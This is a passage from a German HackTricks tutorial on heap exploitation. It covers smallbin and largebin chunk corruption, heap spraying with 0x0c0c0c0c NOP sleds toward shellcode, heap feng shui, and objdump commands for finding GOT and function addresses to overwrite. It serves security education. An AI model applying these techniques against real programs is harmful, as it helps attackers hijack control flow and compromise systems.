Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Chunks, Reservierung des Chunks, der modifiziert wird, Freigabe dieses Chunks, Reservierung eines größeren Chunks als der zu modifizierende, Modifizierung des Chunks (Schwachstelle), Reservierung eines Chunks mit der gleichen Größe wie der verwundbare Chunk und Reservierung eines zweiten Chunks mit der gleichen Größe, der auf die gewählte Adresse zeigt.
Um diesen Angriff zu schützen, wird die übliche Überprüfung verwendet, dass der Chunk "nicht" gefälscht ist: Es wird überprüft, ob bck->fd auf victim zeigt. In unserem Fall bedeutet das, dass der fd-Zeiger des gefälschten Chunks im Stack auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer in der Lage sein, auf irgendeine Weise (wahrscheinlich über den Stack) die Adresse von victim an der richtigen Stelle zu schreiben. Damit sieht es wie ein echter Chunk aus.
LargeBin-Korruption
Die gleichen Voraussetzungen wie zuvor sind erforderlich, und die reservierten Chunks müssen größer als 512 sein.
Der Angriff ist ähnlich wie zuvor, dh der bk-Zeiger muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Chunks so geändert werden, dass size - nb < MINSIZE ist.
Zum Beispiel wird size auf 1552 gesetzt, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned Wert verglichen wird).
Darüber hinaus wurde ein Patch eingeführt, um es noch schwieriger zu machen.
Heap Spraying
Dies besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer NOP-Schlüsselzeichenfolge gefolgt von einer Shellcode zu füllen. Als Schlüsselzeichenfolge wird 0x0c verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn eine Adresse mit dieser Schlüsselzeichenfolge überschrieben wird und dorthin gesprungen wird, wird der Code ausgeführt. Die Taktik besteht im Wesentlichen darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Zeiger überschrieben wird, und dann zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort NOPs vorhanden sind.
Heap Feng Shui
Dies besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Chunks zwischen freien Chunks verbleiben. Der zu überlaufende Puffer wird in einem dieser Lücken platziert.
objdump -d ausführbare Datei —> Disassemblierung von Funktionen
objdump -d ./PROGRAMM | grep FUNKTION —> Adresse der Funktion erhalten
objdump -d -Mintel ./shellcodeout —> Überprüfen, ob es sich tatsächlich um unseren Shellcode handelt, und die OpCodes anzeigen
objdump -t ./exec | grep varBss —> Symboltabelle, um Adressen von Variablen und Funktionen zu erhalten
objdump -TR ./exec | grep exit(func lib) —> Adressen von Bibliotheksfunktionen erhalten (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Adresse von puts erhalten, die in der GOT überschrieben werden soll
objdump -D ./exec —> Disassemblierung ALL bis zu den Einträgen der plt
objdump -p -/exec
Info functions strncmp —> Informationen zur Funktion in gdb
Interessante Kurse
Referenzen
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.